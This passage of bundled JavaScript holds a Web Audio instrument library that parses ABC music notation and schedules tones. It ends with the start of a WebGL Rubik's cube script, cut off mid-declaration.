notification. for (j = 0; j < this._startSet.length; ++j) { earliest = Math.min(earliest, this._startSet[j].time); } // Timer due to notes finishing: wake up for 'noteoff' notification. for (j in this._finishSet) { earliest = Math.min( earliest, this._finishSet[j].time + this._finishSet[j].duration); } // Timer due to scheduled callback. for (j = 0; j < this._callbackSet.length; ++j) { earliest = Math.min(earliest, this._callbackSet[j].time); } // Timer due to cleanup: add a second to give some time to batch up. if (this._cleanupSet.length > 0) { earliest = Math.min(earliest, this._cleanupSet[0].cleanuptime + 1); } // Timer due to sequencer events: subtract a little time to stay ahead. earliest = Math.min( earliest, this._minQueueTime - Instrument.dequeueTime); delay = Math.max(0.001, earliest - this._atop.ac.currentTime); // If there are no future events, then we do not need a timer. if (isNaN(delay) || delay == Infinity) { return; } // Use the Javascript timer to wake up at the right moment. this._pollTimer = setTimeout(poll, Math.round(delay * 1000)); }; // The low-level tone function. Instrument.prototype.tone = function(pitch, duration, velocity, delay, timbre, origin) { // If audio is not present, this is a no-op. if (!this._atop) { return; } // Called with an object instead of listed args. if (typeof(pitch) == 'object') { if (velocity == null) velocity = pitch.velocity; if (duration == null) duration = pitch.duration; if (delay == null) delay = pitch.delay; if (timbre == null) timbre = pitch.timbre; if (origin == null) origin = pitch.origin; pitch = pitch.pitch; } // Convert pitch from various formats to Hz frequency and a midi num. var midi, frequency; if (!pitch) { pitch = 'C'; } if (isNaN(pitch)) { midi = pitchToMidi(pitch); frequency = midiToFrequency(midi); } else { frequency = Number(pitch); if (frequency < 0) { midi = -frequency; frequency = midiToFrequency(midi); } else { midi = frequencyToMidi(frequency); } } if (!timbre) { timbre = this._timbre; } // If there is a custom timbre, validate and copy it. if (timbre !== this._timbre) { var given = timbre, key; timbre = {} for (key in defaultTimbre) { if (key in given) { timbre[key] = given[key]; } else { timbre[key] = defaulTimbre[key]; } } } // Create the record for a tone. var ac = this._atop.ac, now = this.now(), time = now + (delay || 0), record = { time: time, on: false, frequency: frequency, midi: midi, velocity: (velocity == null ? 1 : velocity), duration: (duration == null ? Instrument.toneLength : duration), timbre: timbre, instrument: this, gainNode: null, oscillators: null, cleanuptime: Infinity, origin: origin // save the origin of the tone for visible feedback }; if (time < now + Instrument.bufferSecs) { // The tone starts soon! Give it directly to WebAudio. this._makeSound(record); } else { // The tone is later: queue it. if (!this._unsortedQueue && this._queue.length && time < this._queue[this._queue.length -1].time) { this._unsortedQueue = true; } this._queue.push(record); this._minQueueTime = Math.min(this._minQueueTime, record.time); } }; // The low-level callback scheduling method. Instrument.prototype.schedule = function(delay, callback) { this._callbackSet.push({ time: this.now() + delay, callback: callback }); }; // The high-level sequencing method. Instrument.prototype.play = function(abcstring) { var args = Array.prototype.slice.call(arguments), done = null, opts = {}, subfile, abcfile, argindex, tempo, timbre, k, delay, maxdelay = 0, attenuate, voicename, stems, ni, vn, j, stem, note, beatsecs, secs, v, files = []; // Look for continuation as last argument. if (args.length && 'function' == typeof(args[args.length - 1])) { done = args.pop(); } if (!this._atop) { if (done) { done(); } return; } // Look for options as first object. argindex = 0; if ('object' == typeof(args[0])) { // Copy own properties into an options object. for (k in args[0]) if (args[0].hasOwnProperty(k)) { opts[k] = args[0][k]; } argindex = 1; // If a song is supplied by options object, process it. if (opts.song) { args.push(opts.song); } } // Parse any number of ABC files as input. for (; argindex < args.length; ++argindex) { // Handle splitting of ABC subfiles at X: lines. subfile = args[argindex].split(/\n(?=X:)/); for (k = 0; k < subfile.length; ++k) { abcfile = parseABCFile(subfile[k]); if (!abcfile) continue; // Take tempo markings from the first file, and share them. if (!opts.tempo && abcfile.tempo) { opts.tempo = abcfile.tempo; if (abcfile.unitbeat) { opts.tempo *= abcfile.unitbeat / (abcfile.unitnote || 1); } } // Ignore files without songs. if (!abcfile.voice) continue; files.push(abcfile); } } // Default tempo to 120 if nothing else is specified. if (!opts.tempo) { opts.tempo = 120; } // Default volume to 1 if nothing is specified. if (opts.volume == null) { opts.volume = 1; } beatsecs = 60.0 / opts.tempo; // Schedule all notes from all the files. for (k = 0; k < files.length; ++k) { abcfile = files[k]; // Each file can have multiple voices (e.g., left and right hands) for (vn in abcfile.voice) { // Each voice could have a separate timbre. timbre = makeTimbre(opts.timbre || abcfile.voice[vn].timbre || abcfile.timbre || this._timbre, this._atop); // Each voice has a series of stems (notes or chords). stems = abcfile.voice[vn].stems; if (!stems) continue; // Starting at delay zero (now), schedule all tones. delay = 0; for (ni = 0; ni < stems.length; ++ni) { stem = stems[ni]; // Attenuate chords to reduce clipping. attenuate = 1 / Math.sqrt(stem.notes.length); // Schedule every note inside a stem. for (j = 0; j < stem.notes.length; ++j) { note = stem.notes[j]; if (note.holdover) { // Skip holdover notes from ties. continue; } secs = (note.time || stem.time) * beatsecs; if (stem.staccato) { // Shorten staccato notes. secs = Math.min(Math.min(secs, beatsecs / 16), timbre.attack + timbre.decay); } else if (!note.slurred && secs >= 1/8) { // Separate unslurred notes by about a 30th of a second. secs -= 1/32; } v = (note.velocity || 1) * attenuate * opts.volume; // This is innsermost part of the inner loop! this.tone( // Play the tone: note.pitch, // at the given pitch secs, // for the given duration v, // with the given volume delay, // starting at the proper time timbre, // with the selected timbre note // the origin object for visual feedback ); } delay += stem.time * beatsecs; // Advance the sequenced time. } maxdelay = Math.max(delay, maxdelay); } } this._maxScheduledTime = Math.max(this._maxScheduledTime, this.now() + maxdelay); if (done) { // Schedule a "done" callback after all sequencing is complete. this.schedule(maxdelay, done); } }; // The default sound is a square wave with a pretty quick decay to zero. var defaultTimbre = Instrument.defaultTimbre = { wave: 'square', // Oscillator type. gain: 0.1, // Overall gain at maximum attack. attack: 0.002, // Attack time at the beginning of a tone. decay: 0.4, // Rate of exponential decay after attack. decayfollow: 0, // Amount of decay shortening for higher notes. sustain: 0, // Portion of gain to sustain indefinitely. release: 0.1, // Release time after a tone is done. cutoff: 0, // Low-pass filter cutoff frequency. cutfollow: 0, // Cutoff adjustment, a multiple of oscillator freq. resonance: 0, // Low-pass filter resonance. detune: 0 // Detune factor for a second oscillator. }; // Norrmalizes a timbre object by making a copy that has exactly // the right set of timbre fields, defaulting when needed. // A timbre can specify any of the fields of defaultTimbre; any // unspecified fields are treated as they are set in defaultTimbre. function makeTimbre(options, atop) { if (!options) { options = {}; } if (typeof(options) == 'string') { // Abbreviation: name a wave to get a default timbre for that wave. options = { wave: options }; } var result = {}, key, wt = atop && atop.wavetable && atop.wavetable[options.wave]; for (key in defaultTimbre) { if (options.hasOwnProperty(key)) { result[key] = options[key]; } else if (wt && wt.defs && wt.defs.hasOwnProperty(key)) { result[key] = wt.defs[key]; } else{ result[key] = defaultTimbre[key]; } } return result; } var whiteNoiseBuf = null; function getWhiteNoiseBuf() { if (whiteNoiseBuf == null) { var ac = getAudioTop().ac, bufferSize = 2 * ac.sampleRate, whiteNoiseBuf = ac.createBuffer(1, bufferSize, ac.sampleRate), output = whiteNoiseBuf.getChannelData(0); for (var i = 0; i < bufferSize; i++) { output[i] = Math.random() * 2 - 1; } } return whiteNoiseBuf; } // This utility function creates an oscillator at the given frequency // and the given wavename. It supports lookups in a static wavetable, // defined right below. function makeOscillator(atop, wavename, freq) { if (wavename == 'noise') { var whiteNoise = atop.ac.createBufferSource(); whiteNoise.buffer = getWhiteNoiseBuf(); whiteNoise.loop = true; return whiteNoise; } var wavetable = atop.wavetable, o = atop.ac.createOscillator(), k, pwave, bwf, wf; try { if (wavetable.hasOwnProperty(wavename)) { // Use a customized wavetable. pwave = wavetable[wavename].wave; if (wavetable[wavename].freq) { bwf = 0; // Look for a higher-frequency variant. for (k in wavetable[wavename].freq) { wf = Number(k); if (freq > wf && wf > bwf) { bwf = wf; pwave = wavetable[wavename].freq[bwf]; } } } if (!o.setPeriodicWave && o.setWaveTable) { // The old API name: Safari 7 still uses this. o.setWaveTable(pwave); } else { // The new API name. o.setPeriodicWave(pwave); } } else { o.type = wavename; } } catch(e) { if (window.console) { window.console.log(e); } // If unrecognized, just use square. // TODO: support "noise" or other wave shapes. o.type = 'square'; } o.frequency.value = freq; return o; } // Accepts either an ABC pitch or a midi number and converts to midi. Instrument.pitchToMidi = function(n) { if (typeof(n) == 'string') { return pitchToMidi(n); } return n; } // Accepts either an ABC pitch or a midi number and converts to ABC pitch. Instrument.midiToPitch = function(n) { if (typeof(n) == 'number') { return midiToPitch(n); } return n; } return Instrument; })(); // Parses an ABC file to an object with the following structure: // { // X: value from the X: lines in header (\n separated for multiple values) // V: value from the V:myname lines that appear before K: // (etc): for all the one-letter header-names. // K: value from the K: lines in header. // tempo: Q: line parsed as beatsecs // timbre: ... I:timbre line as parsed by makeTimbre // voice: { // myname: { // voice with id "myname" // V: value from the V:myname lines (from the body) // stems: [...] as parsed by parseABCstems // } // } // } // ABC files are idiosyncratic to parse: the written specifications // do not necessarily reflect the defacto standard implemented by // ABC content on the web. This implementation is designed to be // practical, working on content as it appears on the web, and only // using the written standard as a guideline. var ABCheader = /^([A-Za-z]):\s*(.*)$/; var ABCtoken = /(?:\[[A-Za-z]:[^\]]*\])|\s+|%[^\n]*|![^\s!:|\[\]]*!|\+[^+|!]*\+|[_<>@^]?"[^"]*"|\[|\]|>+|<+|(?:(?:\^+|_+|=|)[A-Ga-g](?:,+|'+|))|\(\d+(?::\d+){0,2}|\d*\/\d+|\d+\/?|\/+|[xzXZ]|\[?\|\]?|:?\|:?|::|./g; function parseABCFile(str) { var lines = str.split('\n'), result = {}, context = result, timbre, j, k, header, stems, key = {}, accent = { slurred: 0 }, voiceid, out; // ABC files are parsed one line at a time. for (j = 0; j < lines.length; ++j) { // First, check to see if the line is a header line. header = ABCheader.exec(lines[j]); if (header) { handleInformation(header[1], header[2].trim()); } else if (/^\s*(?:%.*)?$/.test(lines[j])) { // Skip blank and comment lines. continue; } else { // Parse the notes. parseABCNotes(lines[j]); } } var infer = ['unitnote', 'unitbeat', 'tempo']; if (result.voice) { out = []; for (j in result.voice) { if (result.voice[j].stems && result.voice[j].stems.length) { // Calculate times for all the tied notes. This happens at the end // because in principle, the first note of a song could be tied all // the way through to the last note. processTies(result.voice[j].stems); // Bring up inferred tempo values from voices if not specified // in the header. for (k = 0; k < infer.length; ++k) { if (!(infer[k] in result) && (infer[k] in result.voice[j])) { result[infer[k]] = result.voice[j][infer[k]]; } } // Remove this internal state variable; delete result.voice[j].accent; } else { out.push(j); } } // Delete any voices that had no stems. for (j = 0; j < out.length; ++j) { delete result.voice[out[j]]; } } return result; //////////////////////////////////////////////////////////////////////// // Parsing helper functions below. //////////////////////////////////////////////////////////////////////// // Processes header fields such as V: voice, which may appear at the // top of the ABC file, or in the ABC body in a [V:voice] directive. function handleInformation(field, value) { // The following headers are recognized and processed. switch(field) { case 'V': // A V: header switches voices if in the body. // If in the header, then it is just advisory. if (context !== result) { startVoiceContext(value.split(' ')[0]); } break; case 'M': parseMeter(value, context); break; case 'L': parseUnitNote(value, context); break; case 'Q': parseTempo(value, context); break; } // All headers (including unrecognized ones) are // just accumulated as properties. Repeated header // lines are accumulated as multiline properties. if (context.hasOwnProperty(field)) { context[field] += '\n' + value; } else { context[field] = value; } // The K header is special: it should be the last one // before the voices and notes begin. if (field == 'K') { key = keysig(value); if (context === result) { startVoiceContext(firstVoiceName()); } } } // Shifts context to a voice with the given id given. If no id // given, then just sticks with the current voice. If the current // voice is unnamed and empty, renames the current voice. function startVoiceContext(id) { id = id || ''; if (!id && context !== result) { return; } if (!result.voice) { result.voice = {}; } if (result.voice.hasOwnProperty(id)) { // Resume a named voice. context = result.voice[id]; accent = context.accent; } else { // Start a new voice. context = { id: id, accent: { slurred: 0 } }; result.voice[id] = context; accent = context.accent; } } // For picking a default voice, looks for the first voice name. function firstVoiceName() { if (result.V) { return result.V.split(/\s+/)[0]; } else { return ''; } } // Parses a single line of ABC notes (i.e., not a header line). // // We process an ABC song stream by dividing it into tokens, each of // which is a pitch, duration, or special decoration symbol; then // we process each decoration individually, and we process each // stem as a group using parseStem. // The structure of a single ABC note is something like this: // // NOTE -> STACCATO? PITCH DURATION? TIE? // // I.e., it always has a pitch, and it is prefixed by some optional // decorations such as a (.) staccato marking, and it is suffixed by // an optional duration and an optional tie (-) marking. // // A stem is either a note or a bracketed series of notes, followed // by duration and tie. // // STEM -> NOTE OR '[' NOTE * ']' DURAITON? TIE? // // Then a song is just a sequence of stems interleaved with other // decorations such as dynamics markings and measure delimiters. function parseABCNotes(str) { var tokens = str.match(ABCtoken), parsed = null, index = 0, dotted = 0, beatlet = null, t; if (!tokens) { return null; } while (index < tokens.length) { // Ignore %comments and !markings! if (/^[\s%]/.test(tokens[index])) { index++; continue; } // Handle inline [X:...] information fields if (/^\[[A-Za-z]:[^\]]*\]$/.test(tokens[index])) { handleInformation( tokens[index].substring(1, 2), tokens[index].substring(3, tokens[index].length - 1).trim() ); index++; continue; } // Handled dotted notation abbreviations. if (/</.test(tokens[index])) { dotted = -tokens[index++].length; continue; } if (/>/.test(tokens[index])) { dotted = tokens[index++].length; continue; } if (/^\(\d+(?::\d+)*/.test(tokens[index])) { beatlet = parseBeatlet(tokens[index++]); continue; } if (/^[!+].*[!+]$/.test(tokens[index])) { parseDecoration(tokens[index++], accent); continue; } if (/^.?".*"$/.test(tokens[index])) { // Ignore double-quoted tokens (chords and general text annotations). index++; continue; } if (/^[()]$/.test(tokens[index])) { if (tokens[index++] == '(') { accent.slurred += 1; } else { accent.slurred -= 1; if (accent.slurred <= 0) { accent.slurred = 0; if (context.stems && context.stems.length >= 1) { // The last notes in a slur are not slurred. slurStem(context.stems[context.stems.length - 1], false); } } } continue; } // Handle measure markings by clearing accidentals. if (/\|/.test(tokens[index])) { for (t in accent) { if (t.length == 1) { // Single-letter accent properties are note accidentals. delete accent[t]; } } index++; continue; } parsed = parseStem(tokens, index, key, accent); // Skip unparsable bits if (parsed === null) { index++; continue; } // Process a parsed stem. if (beatlet) { scaleStem(parsed.stem, beatlet.time); beatlet.count -= 1; if (!beatlet.count) { beatlet = null; } } // If syncopated with > or < notation, shift part of a beat // between this stem and the previous one. if (dotted && context.stems && context.stems.length) { if (dotted > 0) { t = (1 - Math.pow(0.5, dotted)) * parsed.stem.time; } else { t = (Math.pow(0.5, -dotted) - 1) * context.stems[context.stems.length - 1].time; } syncopateStem(context.stems[context.stems.length - 1], t); syncopateStem(parsed.stem, -t); } dotted = 0; // Slur all the notes contained within a strem. if (accent.slurred) { slurStem(parsed.stem, true); } // Start a default voice if we're not in a voice yet. if (context === result) { startVoiceContext(firstVoiceName()); } if (!('stems' in context)) { context.stems = []; } // Add the stem to the sequence of stems for this voice. context.stems.push(parsed.stem); // Advance the parsing index since a stem is multiple tokens. index = parsed.index; } } // Parse M: lines. "3/4" is 3/4 time and "C" is 4/4 (common) time. function parseMeter(mline, beatinfo) { var d = /^C/.test(mline) ? 4/4 : durationToTime(mline); if (!d) { return; } if (!beatinfo.unitnote) { if (d < 0.75) { beatinfo.unitnote = 1/16; } else { beatinfo.unitnote = 1/8; } } } // Parse L: lines, e.g., "1/8". function parseUnitNote(lline, beatinfo) { var d = durationToTime(lline); if (!d) { return; } beatinfo.unitnote = d; } // Parse Q: line, e.g., "1/4=66". function parseTempo(qline, beatinfo) { var parts = qline.split(/\s+|=/), j, unit = null, tempo = null; for (j = 0; j < parts.length; ++j) { // It could be reversed, like "66=1/4", or just "120", so // determine what is going on by looking for a slash etc. if (parts[j].indexOf('/') >= 0 || /^[1-4]$/.test(parts[j])) { // The note-unit (e.g., 1/4). unit = unit || durationToTime(parts[j]); } else { // The tempo-number (e.g., 120) tempo = tempo || Number(parts[j]); } } if (unit) { beatinfo.unitbeat = unit; } if (tempo) { beatinfo.tempo = tempo; } } // Run through all the notes, adding up time for tied notes, // and marking notes that were held over with holdover = true. function processTies(stems) { var tied = {}, nextTied, j, k, note, firstNote; for (j = 0; j < stems.length; ++j) { nextTied = {}; for (k = 0; k < stems[j].notes.length; ++k) { firstNote = note = stems[j].notes[k]; if (tied.hasOwnProperty(note.pitch)) { // Pitch was tied from before. firstNote = tied[note.pitch]; // Get the earliest note in the tie. firstNote.time += note.time; // Extend its time. note.holdover = true; // Silence this note as a holdover. } if (note.tie) { // This note is tied with the next. nextTied[note.pitch] = firstNote; // Save it away. } } tied = nextTied; } } // Returns a map of A-G -> accidentals, according to the key signature. // When n is zero, there are no accidentals (e.g., C major or A minor). // When n is positive, there are n sharps (e.g., for G major, n = 1). // When n is negative, there are -n flats (e.g., for F major, n = -1). function accidentals(n) { var sharps = 'FCGDAEB', result = {}, j; if (!n) { return result; } if (n > 0) { // Handle sharps. for (j = 0; j < n && j < 7; ++j) { result[sharps.charAt(j)] = '^'; } } else { // Flats are in the opposite order. for (j = 0; j > n && j > -7; --j) { result[sharps.charAt(6 + j)] = '_'; } } return result; } // Decodes the key signature line (e.g., K: C#m) at the front of an ABC tune. // Supports the whole range of scale systems listed in the ABC spec. function keysig(keyname) { if (!keyname) { return {}; } var kkey, sigcodes = { // Major 'c#':7, 'f#':6, 'b':5, 'e':4, 'a':3, 'd':2, 'g':1, 'c':0, 'f':-1, 'bb':-2, 'eb':-3, 'ab':-4, 'db':-5, 'gb':-6, 'cb':-7, // Minor 'a#m':7, 'd#m':6, 'g#m':5, 'c#m':4, 'f#m':3, 'bm':2, 'em':1, 'am':0, 'dm':-1, 'gm':-2, 'cm':-3, 'fm':-4, 'bbm':-5, 'ebm':-6, 'abm':-7, // Mixolydian 'g#mix':7, 'c#mix':6, 'f#mix':5, 'bmix':4, 'emix':3, 'amix':2, 'dmix':1, 'gmix':0, 'cmix':-1, 'fmix':-2, 'bbmix':-3, 'ebmix':-4, 'abmix':-5, 'dbmix':-6, 'gbmix':-7, // Dorian 'd#dor':7, 'g#dor':6, 'c#dor':5, 'f#dor':4, 'bdor':3, 'edor':2, 'ador':1, 'ddor':0, 'gdor':-1, 'cdor':-2, 'fdor':-3, 'bbdor':-4, 'ebdor':-5, 'abdor':-6, 'dbdor':-7, // Phrygian 'e#phr':7, 'a#phr':6, 'd#phr':5, 'g#phr':4, 'c#phr':3, 'f#phr':2, 'bphr':1, 'ephr':0, 'aphr':-1, 'dphr':-2, 'gphr':-3, 'cphr':-4, 'fphr':-5, 'bbphr':-6, 'ebphr':-7, // Lydian 'f#lyd':7, 'blyd':6, 'elyd':5, 'alyd':4, 'dlyd':3, 'glyd':2, 'clyd':1, 'flyd':0, 'bblyd':-1, 'eblyd':-2, 'ablyd':-3, 'dblyd':-4, 'gblyd':-5, 'cblyd':-6, 'fblyd':-7, // Locrian 'b#loc':7, 'e#loc':6, 'a#loc':5, 'd#loc':4, 'g#loc':3, 'c#loc':2, 'f#loc':1, 'bloc':0, 'eloc':-1, 'aloc':-2, 'dloc':-3, 'gloc':-4, 'cloc':-5, 'floc':-6, 'bbloc':-7 }; var k = keyname.replace(/\s+/g, '').toLowerCase().substr(0, 5); var scale = k.match(/maj|min|mix|dor|phr|lyd|loc|m/); if (scale) { if (scale == 'maj') { kkey = k.substr(0, scale.index); } else if (scale == 'min') { kkey = k.substr(0, scale.index + 1); } else { kkey = k.substr(0, scale.index + scale[0].length); } } else { kkey = /^[a-g][#b]?/.exec(k) || ''; } var result = accidentals(sigcodes[kkey]); var extras = keyname.substr(kkey.length).match(/(_+|=|\^+)[a-g]/ig); if (extras) { for (var j = 0; j < extras.length; ++j) { var note = extras[j].charAt(extras[j].length - 1).toUpperCase(); if (extras[j].charAt(0) == '=') { delete result[note]; } else { result[note] = extras[j].substr(0, extras[j].length - 1); } } } return result; } // Additively adjusts the beats for a stem and the contained notes. function syncopateStem(stem, t) { var j, note, stemtime = stem.time, newtime = stemtime + t; stem.time = newtime; syncopateStem for (j = 0; j < stem.notes.length; ++j) { note = stem.notes[j]; // Only adjust a note's duration if it matched the stem's duration. if (note.time == stemtime) { note.time = newtime; } } } // Marks everything in the stem with the slur attribute (or deletes it). function slurStem(stem, addSlur) { var j, note; for (j = 0; j < stem.notes.length; ++j) { note = stem.notes[j]; if (addSlur) { note.slurred = true; } else if (note.slurred) { delete note.slurred; } } } // Scales the beats for a stem and the contained notes. function scaleStem(stem, s) { var j; stem.time *= s; for (j = 0; j < stem.notes.length; ++j) { stem.notes[j].time *= s;; } } // Parses notation of the form (3 or (5:2:10, which means to do // the following 3 notes in the space of 2 notes, or to do the following // 10 notes at the rate of 5 notes per 2 beats. function parseBeatlet(token) { var m = /^\((\d+)(?::(\d+)(?::(\d+))?)?$/.exec(token); if (!m) { return null; } var count = Number(m[1]), beats = Number(m[2]) || 2, duration = Number(m[3]) || count; return { time: beats / count, count: duration }; } // Parse !ppp! markings. function parseDecoration(token, accent) { if (token.length < 2) { return; } token = token.substring(1, token.length - 1); switch (token) { case 'pppp': case 'ppp': accent.dynamics = 0.2; break; case 'pp': accent.dynamics = 0.4; break; case 'p': accent.dynamics = 0.6; break; case 'mp': accent.dynamics = 0.8; break; case 'mf': accent.dynamics = 1.0; break; case 'f': accent.dynamics = 1.2; break; case 'ff': accent.dynamics = 1.4; break; case 'fff': case 'ffff': accent.dynamics = 1.5; break; } } // Parses a stem, which may be a single note, or which may be // a chorded note. function parseStem(tokens, index, key, accent) { var notes = [], duration = '', staccato = false, noteDuration, noteTime, velocity, lastNote = null, minStemTime = Infinity, j; // A single staccato marking applies to the entire stem. if (index < tokens.length && '.' == tokens[index]) { staccato = true; index++; } if (index < tokens.length && tokens[index] == '[') { // Deal with [CEG] chorded notation. index++; // Scan notes within the chord. while (index < tokens.length) { // Ignore and space and %comments. if (/^[\s%]/.test(tokens[index])) { index++; continue; } if (/[A-Ga-g]/.test(tokens[index])) { // Grab a pitch. lastNote = { pitch: applyAccent(tokens[index++], key, accent), tie: false } lastNote.frequency = pitchToFrequency(lastNote.pitch); notes.push(lastNote); } else if (/[xzXZ]/.test(tokens[index])) { // Grab a rest. lastNote = null; index++; } else if ('.' == tokens[index]) { // A staccato mark applies to the entire stem. staccato = true; index++; continue; } else { // Stop parsing the stem if something is unrecognized. break; } // After a pitch or rest, look for a duration. if (index < tokens.length && /^(?![\s%!]).*[\d\/]/.test(tokens[index])) { noteDuration = tokens[index++]; noteTime = durationToTime(noteDuration); } else { noteDuration = ''; noteTime = 1; } // If it's a note (not a rest), store the duration if (lastNote) { lastNote.duration = noteDuration; lastNote.time = noteTime; } // When a stem has more than one duration, use the shortest // one for timing. The standard says to pick the first one, // but in practice, transcribed music online seems to // follow the rule that the stem's duration is determined // by the shortest contained duration. if (noteTime && noteTime < minStemTime) { duration = noteDuration; minStemTime = noteTime; } // After a duration, look for a tie mark. Individual notes // within a stem can be tied. if (index < tokens.length && '-' == tokens[index]) { if (lastNote) { notes[notes.length - 1].tie = true; } index++; } } // The last thing in a chord should be a ]. If it isn't, then // this doesn't look like a stem after all, and return null. if (tokens[index] != ']') { return null; } index++; } else if (index < tokens.length && /[A-Ga-g]/.test(tokens[index])) { // Grab a single note. lastNote = { pitch: applyAccent(tokens[index++], key, accent), tie: false, duration: '', time: 1 } lastNote.frequency = pitchToFrequency(lastNote.pitch); notes.push(lastNote); } else if (index < tokens.length && /^[xzXZ]$/.test(tokens[index])) { // Grab a rest - no pitch. index++; } else { // Something we don't recognize - not a stem. return null; } // Right after a [chord], note, or rest, look for a duration marking. if (index < tokens.length && /^(?![\s%!]).*[\d\/]/.test(tokens[index])) { duration = tokens[index++]; noteTime = durationToTime(duration); // Apply the duration to all the ntoes in the stem. // NOTE: spec suggests multiplying this duration, but that // idiom is not seen (so far) in practice. for (j = 0; j < notes.length; ++j) { notes[j].duration = duration; notes[j].time = noteTime; } } // Then look for a trailing tie marking. Will tie every note in a chord. if (index < tokens.length && '-' == tokens[index]) { index++; for (j = 0; j < notes.length; ++j) { notes[j].tie = true; } } if (accent.dynamics) { velocity = accent.dynamics; for (j = 0; j < notes.length; ++j) { notes[j].velocity = velocity; } } return { index: index, stem: { notes: notes, duration: duration, staccato: staccato, time: durationToTime(duration) } }; } // Normalizes pitch markings by stripping leading = if present. function stripNatural(pitch) { if (pitch.length > 0 && pitch.charAt(0) == '=') { return pitch.substr(1); } return pitch; } // Processes an accented pitch, automatically applying accidentals // that have accumulated within the measure, and also saving // explicit accidentals to continue to apply in the measure. function applyAccent(pitch, key, accent) { var m = /^(\^+|_+|=|)([A-Ga-g])(.*)$/.exec(pitch), letter; if (!m) { return pitch; } // Note that an accidental in one octave applies in other octaves. letter = m[2].toUpperCase(); if (m[1].length > 0) { // When there is an explicit accidental, then remember it for // the rest of the measure. accent[letter] = m[1]; return stripNatural(pitch); } if (accent.hasOwnProperty(letter)) { // Accidentals from this measure apply to unaccented notes. return stripNatural(accent[letter] + m[2] + m[3]); } if (key.hasOwnProperty(letter)) { // Key signatures apply by default. return stripNatural(key[letter] + m[2] + m[3]); } return stripNatural(pitch); } // Converts an ABC duration to a number (e.g., "/3"->0.333 or "11/2"->1.5). function durationToTime(duration) { var m = /^(\d*)(?:\/(\d*))?$|^(\/+)$/.exec(duration), n, d, i = 0, ilen; if (!m) return; if (m[3]) return Math.pow(0.5, m[3].length); d = (m[2] ? parseFloat(m[2]) : /\//.test(duration) ? 2 : 1); // Handle mixed frations: ilen = 0; n = (m[1] ? parseFloat(m[1]) : 1); if (m[2]) { while (ilen + 1 < m[1].length && n > d) { ilen += 1 i = parseFloat(m[1].substring(0, ilen)) n = parseFloat(m[1].substring(ilen)) } } return i + (n / d); } } // wavetable is a table of names for nonstandard waveforms. // The table maps names to objects that have wave: and freq: // properties. The wave: property is a PeriodicWave to use // for the oscillator. The freq: property, if present, // is a map from higher frequencies to more PeriodicWave // objects; when a frequency higher than the given threshold // is requested, the alternate PeriodicWave is used. function makeWavetable(ac) { return (function(wavedata) { function makePeriodicWave(data) { var n = data.real.length, real = new Float32Array(n), imag = new Float32Array(n), j; for (j = 0; j < n; ++j) { real[j] = data.real[j]; imag[j] = data.imag[j]; } try { // Latest API naming. return ac.createPeriodicWave(real, imag); } catch (e) { } try { // Earlier API naming. return ac.createWaveTable(real, imag); } catch (e) { } return null; } function makeMultiple(data, mult, amt) { var result = { real: [], imag: [] }, j, n = data.real.length, m; for (j = 0; j < n; ++j) { m = Math.log(mult[Math.min(j, mult.length - 1)]); result.real.push(data.real[j] * Math.exp(amt * m)); result.imag.push(data.imag[j] * Math.exp(amt * m)); } return result; } var result = {}, k, d, n, j, ff, record, wave, pw; for (k in wavedata) { d = wavedata[k]; wave = makePeriodicWave(d); if (!wave) { continue; } record = { wave: wave }; // A strategy for computing higher frequency waveforms: apply // multipliers to each harmonic according to d.mult. These // multipliers can be interpolated and applied at any number // of transition frequencies. if (d.mult) { ff = wavedata[k].freq; record.freq = {}; for (j = 0; j < ff.length; ++j) { wave = makePeriodicWave(makeMultiple(d, d.mult, (j + 1) / ff.length)); if (wave) { record.freq[ff[j]] = wave; } } } // This wave has some default filter settings. if (d.defs) { record.defs = d.defs; } result[k] = record; } return result; })({ // Currently the only nonstandard waveform is "piano". // It is based on the first 32 harmonics from the example: // https://github.com/GoogleChrome/web-audio-samples // /blob/gh-pages/samples/audio/wave-tables/Piano // That is a terrific sound for the lowest piano tones. // For higher tones, interpolate to a customzed wave // shape created by hand, and apply a lowpass filter. piano: { real: [0, 0, -0.203569, 0.5, -0.401676, 0.137128, -0.104117, 0.115965, -0.004413, 0.067884, -0.00888, 0.0793, -0.038756, 0.011882, -0.030883, 0.027608, -0.013429, 0.00393, -0.014029, 0.00972, -0.007653, 0.007866, -0.032029, 0.046127, -0.024155, 0.023095, -0.005522, 0.004511, -0.003593, 0.011248, -0.004919, 0.008505], imag: [0, 0.147621, 0, 0.000007, -0.00001, 0.000005, -0.000006, 0.000009, 0, 0.000008, -0.000001, 0.000014, -0.000008, 0.000003, -0.000009, 0.000009, -0.000005, 0.000002, -0.000007, 0.000005, -0.000005, 0.000005, -0.000023, 0.000037, -0.000021, 0.000022, -0.000006, 0.000005, -0.000004, 0.000014, -0.000007, 0.000012], // How to adjust the harmonics for the higest notes. mult: [1, 1, 0.18, 0.016, 0.01, 0.01, 0.01, 0.004, 0.014, 0.02, 0.014, 0.004, 0.002, 0.00001], // The frequencies at which to interpolate the harmonics. freq: [65, 80, 100, 135, 180, 240, 620, 1360], // The default filter settings to use for the piano wave. // TODO: this approach attenuates low notes too much - // this should be fixed. defs: { wave: 'piano', gain: 0.5, attack: 0.002, decay: 0.25, sustain: 0.03, release: 0.1, decayfollow: 0.7, cutoff: 800, cutfollow: 0.1, resonance: 1, detune: 0.9994 } } }); } // The package implementation. Right now, just one class. var impl = { Instrument: Instrument, parseABCFile: parseABCFile }; if (module && module.exports) { // Nodejs usage: export the impl object as the package. module.exports = impl; } else if (define && define.amd) { // Requirejs usage: define the impl object as the package. define(function() { return impl; }); } else { // Plain script tag usage: stick Instrument on the window object. for (var exp in impl) { global[exp] = impl[exp]; } } })( this, // global (window) object (typeof module) == 'object' && module, // present in node.js (typeof define) == 'function' && define // present with an AMD loader ); (function(){ 'use strict'; /** a Rubik's cube made with WebGL * * @link https://github.com/blonkm/rubiks-cube * @authors * Tiffany Wang - https://github.com/tinnywang * Michiel van der Blonk - [email protected] * @license LGPL */ var GLube = function() { var canvas; var gl; var rubiksCube; var shaderProgram; var rightMouseDown = false; var x_init_right; var y_init_right; var x_new_right; var y_new_right; var leftMouseDown = false; var init_coordinates; var new_coordinates; var isRotating = false; var isAnimating = false; var isInitializing = true; var eye = [0, 0, -17]; var center = [0, 0, 0]; var up = [0, 1, 0]; var fov = -19.5; var modelViewMatrix = mat4.create(); var projectionMatrix = mat4.create(); var rotationMatrix = mat4.create(); var DEGREES = 6; var MARGIN_OF_ERROR = 1e-3; var X_AXIS = 0; var Y_AXIS = 1; var Z_AXIS = 2; var LEFT_MOUSE = 0; var RIGHT_MOUSE = 2; var 